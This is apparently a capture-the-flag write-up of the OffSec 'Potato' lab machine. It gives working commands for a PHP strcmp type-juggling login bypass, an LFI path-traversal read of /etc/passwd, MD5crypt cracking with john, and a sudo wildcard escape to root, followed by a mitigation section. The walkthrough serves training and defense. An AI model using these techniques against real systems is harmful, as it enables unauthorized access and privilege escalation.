From PHP Type Juggling to Root
Difficulty: Easy OS: Linux (Ubuntu 20.04) Date: March 13, 2026
Introduction
Potato is an Easy-rated Linux machine on OffSec Proving Grounds (Play). On the surface, it looks like a two-port box with a dead web page — and honestly, if you only run a quick scan, you'll spend a lot of time going in circles. The real lesson here is enumeration. Always run a full port scan. Port 2112 is always there, and without it, everything falls apart.
The box chains together a few classic weaknesses: PHP type juggling to get past the login, anonymous FTP leaking a source code backup, LFI to pull /etc/passwd, a crackable MD5 hash, and a sudo wildcard that hands you root. Nothing here is cutting-edge, but it's a solid box for building the habit of being methodical and not skipping steps.

Table of Contents
┌─────────────────────────────────────────────────────────┐
│ TABLE OF CONTENTS │
├─────────────────────────────────────────────────────────┤
│ 1. Reconnaissance │
│ 2. Web Enumeration │
│ 3. PHP Type Juggling — Login Bypass │
│ 4. Admin Dashboard Exploration │
│ 5. FTP on Port 2112 — Source Code Disclosure │
│ 6. Local File Inclusion (LFI) │
│ 7. Password Cracking │
│ 8. Initial Access via SSH │
│ 9. Privilege Escalation — Sudo Wildcard Escape │
│ 10. Defense & Mitigation │
│ 11. Summary │
└─────────────────────────────────────────────────────────┘Attack Chain
Recon → Dir Enum → PHP Type Juggling Login Bypass
→ Admin Dashboard → FTP Anonymous (Port 2112)
→ Source Code Disclosure → LFI (6x Path Traversal)
→ /etc/passwd Read → MD5crypt Hash Crack
→ SSH Access → Sudo Wildcard Escape → ROOT1. Reconnaissance
Standard starting point — Nmap with service detection and scripts:
nmap -Pn -sC -F -A <TARGET>Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Potato companyTwo ports. SSH and a web server. Nothing exciting yet. While we poke at the web side, kick off a full port scan in the background — this one matters:
nmap -Pn -p- --min-rate 10000 --max-retries 2 <TARGET>This is what eventually surfaces on port 2112, which is the turning point of the whole box. Don't skip it.
2. Web Enumeration
Hitting the root gives us a placeholder page — "under construction," potato photo, nothing useful. We run Gobuster while looking around:
gobuster dir -u http://<TARGET> \
-w /usr/share/dirb/wordlists/common.txt \
-x php,txt,htmlResults:
/admin (Status: 301) [--> http://<TARGET>/admin/]
/index.php (Status: 200)
/admin/ redirects to a login page. Curling it shows a simple form of posting to index.php?login=1:
curl -s http://<TARGET>/admin/
<form action="index.php?login=1" method="POST">
<input type="text" name="username" required>
<input type="password" name="password" required>
</form>3. PHP Type Juggling — Login Bypass
Default creds don't work. Basic SQLi doesn't work either. But the login is built with PHP's strcmp() — and that's a problem.
When you pass an array instead of a string to strcmp(), PHP returns NULL. Under loose comparison (==), NULL == 0 is TRUE. That's it — the authentication check passes without a valid password.
curl -s -X POST "http://<TARGET>/admin/index.php?login=1" \
-d "username=admin&password[]=1" -L -c /tmp/cookies.txtResponse:
Welcome! </br> Go to the <a href="dashboard.php">dashboard</a>We're in. Cookie saved.
Why this works:
strcmp($array, $string)returnsNULL.NULL == 0isTRUEunder loose comparison. The fix is===(strict comparison) or validating that the input is actually a string before touching it.
4. Admin Dashboard Exploration
The dashboard has four pages worth looking at:
Home | Users | Date | Logs | PingA few things stand out immediately:
- Logs — takes a POST parameter
fileand displays its contents. Classic LFI setup. - Ping — runs a live ping to 8.8.8.8. Potential command injection, though it ignores custom input.
- Date — shows system time via a shell call.
- Cookie — after login, the app sets a cookie named
passand puts the actual plaintext password in it viasetcookie('pass', $pass, ...).

That last point means we can just read the cookie to get the current admin password:
curl -s -X POST "http://<TARGET>/admin/index.php?login=1" \
-d "username=admin&password[]=1" -L -c /tmp/cookies_real.txt -v 2>&1 \
| grep -i "set-cookie"
Set-Cookie: pass=<REDACTED>The cookie value is the live password. We'll need it for the LFI step.
5. FTP on Port 2112 — Source Code Disclosure
The full port scan comes back with port 2112 open. A targeted scan tells us exactly what's there:
nmap -Pn -p 2112 -sV -sC <TARGET>
2112/tcp open ftp ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 901 Aug 2 2020 index.php.bak
|_-rw-r--r-- 1 ftp ftp 54 Aug 2 2020 welcome.msgProFTPD with anonymous login allowed, and a .bak file sitting in the root. We grab it:
ftp -n <TARGET> 2112 <<EOF
user anonymous anonymous
get index.php.bak
get welcome.msg
bye
EOF
index.php.bak is the source code of the admin login page:
<?php
$pass= "potato"; //note Change this password regularly
if($_GET['login']==="1"){
if (strcmp($_POST['username'], "admin") == 0
&& strcmp($_POST['password'], $pass) == 0) {
echo "Welcome!";
setcookie('pass', $pass, time() + 365*24*3600);
} else {
echo "<p>Bad login/password!</p>";
}
exit();
}
?>This confirms everything — the strcmp() vulnerability, the plaintext cookie, and the fact that the original password was potato (since changed, which is why that didn't work earlier). The cookie we pulled in step 4 is the current live password.
6. Local File Inclusion (LFI)
The Logs page passes the file POST parameter straight into a file read with no sanitization. Standard ../../../etc/passwd returns empty — the read is relative to a deeper subdirectory. After testing different depths, 6 levels ../ is what it takes:
curl -s -X POST "http://<TARGET>/admin/dashboard.php?page=log" \
-H "Cookie: pass=<REDACTED>" \
--data-raw "file=../../../../../../etc/passwd"/etc/passwd output:
root:x:0:0:root:/root:/bin/bash
...
florianges:x:1000:1000:florianges:/home/florianges:/bin/bash
webadmin:<HASH>:1001:1001:webadmin,,,:/home/webadmin:/bin/bashTwo users with login shells. More importantly, webadmin's password hash is sitting right there in /etc/passwd, not in /etc/shadow where it belongs. That's a serious misconfiguration, and it means anyone who can read the file can grab the hash.

7. Password Cracking
The $1$ prefix means this is an MD5crypt hash — old and fast to crack. We throw it at John with rockyou:
echo 'webadmin:<HASH>' > /tmp/hash.txt
john /tmp/hash.txt --wordlist=/usr/share/wordlists/rockyou.txtResult:
<CRACKED> (webadmin)
1g 0:00:00:00 DONE — 1.886g/sDone in under a second. That's the danger of MD5crypt — it was designed for an era when cracking was slow. On modern hardware, it offers almost no resistance.
8. Initial Access via SSH
ssh webadmin@<TARGET>
# Password: <REDACTED>
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
webadmin@serv:~$Shell as webadmin.
9. Privilege Escalation — Sudo Wildcard Escape
First thing after landing — check sudo:
sudo -l
User webadmin may run the following commands on serv:
(ALL : ALL) /bin/nice /notes/*
The intent is clear — webadmin can run /bin/nice on files inside /notes/. But the wildcard * doesn't block path traversal. The OS resolves ../ after sudo does its pattern match, so we can walk straight out of /notes/ into anywhere on the filesystem:
sudo /bin/nice /notes/../bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)Root. The path /notes/../bin/sh resolves to /bin/sh. Sudo saw it match /notes/* and allowed it. The OS then resolved the traversal and ran /bin/sh as root.

10. Defense & Mitigation
10.1 PHP Type Juggling (Login Bypass)
Issue Fix strcmp() with == loose comparison Use === strict comparison No input type validation. Validate that the input is a string before comparing the array accepted as the password field. Add is_string() a check on all form inputs
// Vulnerable
if (strcmp($_POST['password'], $pass) == 0)
// Fixed
if (is_string($_POST['password']) && hash_equals($pass, $_POST['password']))10.2 Sensitive Data in Cookies
Storing the password in a cookie is an obvious but surprisingly common mistake. Any attacker who can intercept traffic or access browser storage gets the plaintext password immediately.
// Vulnerable — never do this
setcookie('pass', $pass, time() + 365*24*3600);
// Fixed — use server-side sessions
session_start();
$_SESSION['authenticated'] = true;
$_SESSION['user'] = $username;Sessions keep a sensitive state server-side. The client only ever sees a random session ID.
10.3 Anonymous FTP Exposing Source Code
Two issues here: anonymous FTP was enabled, and a .bak source file was left in the FTP root. Either one alone is bad. Together, they hand the entire application logic to an unauthenticated attacker.
- Disable anonymous FTP if it is not needed:
# /etc/proftpd/proftpd.conf
# Remove or comment out the <Anonymous> block entirely- Never leave backup files (
.bak,.old,.orig) in any directory accessible over FTP or HTTP. - Audit FTP directories regularly for leftover files.
10.4 Local File Inclusion (LFI)
The file parameter is passed directly to a file read with no sanitization:
// Vulnerable
$content = file_get_contents($_POST['file']);
// Fixed — strict whitelist
$allowed = ['log_01.txt', 'log_02.txt', 'log_03.txt'];
if (!in_array($_POST['file'], $allowed, true)) {
die("Access denied");
}
$content = file_get_contents('/var/www/html/admin/logs/' . $_POST['file']);Additional layers:
- Use
basename()to strip any directory components from user input - Lock down the web server user (
www-data) with strict filesystem permissions - Set PHP's
open_basedirto restrict which directories PHP can read from
10.5 Password Hash in /etc/passwd
/etc/passwd is world-readable by design — every user on the system can read it. Password hashes belong in /etc/shadow, which is readable only by root.
# Check for hashes sitting in /etc/passwd
awk -F: '$2 != "x" && $2 != "*" && $2 != "!" {print $1}' /etc/passwd
# Migrate to shadow passwords
pwconv
chmod 640 /etc/shadow
chown root:shadow /etc/shadowAnd stop using MD5crypt. It has been broken for decades. Use SHA-512 at a minimum:
# /etc/login.defs
ENCRYPT_METHOD SHA512
SHA_CRYPT_MIN_ROUNDS 500010.6 Sudo Wildcard Escape
Wildcards in sudo rules are almost always a mistake. The pattern /notes/* feels restrictive, but it is not — path traversal turns it into unrestricted binary execution.
# Vulnerable
webadmin ALL=(ALL:ALL) /bin/nice /notes/*
# Fixed — list specific files explicitly
webadmin ALL=(ALL:ALL) /bin/nice /notes/report.txt
webadmin ALL=(ALL:ALL) /bin/nice /notes/status.txtBetter yet, question whether this sudo rule needs to exist at all. Ask yourself what webadmin actually needs, grant only that, and nothing more. Run sudo -l As each service account regularly has misconfigurations like this are easy to miss during setup and easy to catch during review.
11. Summary
┌──────────────────────────┬────────────────────────────────────┬───────────────┐
│ Step │ Technique │ Tool │
├──────────────────────────┼────────────────────────────────────┼───────────────┤
│ Port discovery │ Full TCP scan │ nmap │
│ Directory brute force │ Gobuster → /admin/ │ gobuster │
│ Auth bypass │ PHP strcmp() type juggling │ curl │
│ Source code leak │ Anonymous FTP + .bak file │ ftp │
│ LFI │ 6-level path traversal │ curl │
│ Credential extraction │ /etc/passwd hash read │ LFI │
│ Hash cracking │ MD5crypt → cracked │ john │
│ Initial access │ SSH as webadmin │ ssh │
│ Privilege escalation │ sudo wildcard escape via ../ │ sudo │
└──────────────────────────┴────────────────────────────────────┴───────────────┘Vulnerabilities chained:
PHP Type Juggling → Source Code Disclosure → LFI
→ Weak Hashing → Weak Password → Sudo MisconfigurationRooted — OffSec PG Play | March 2026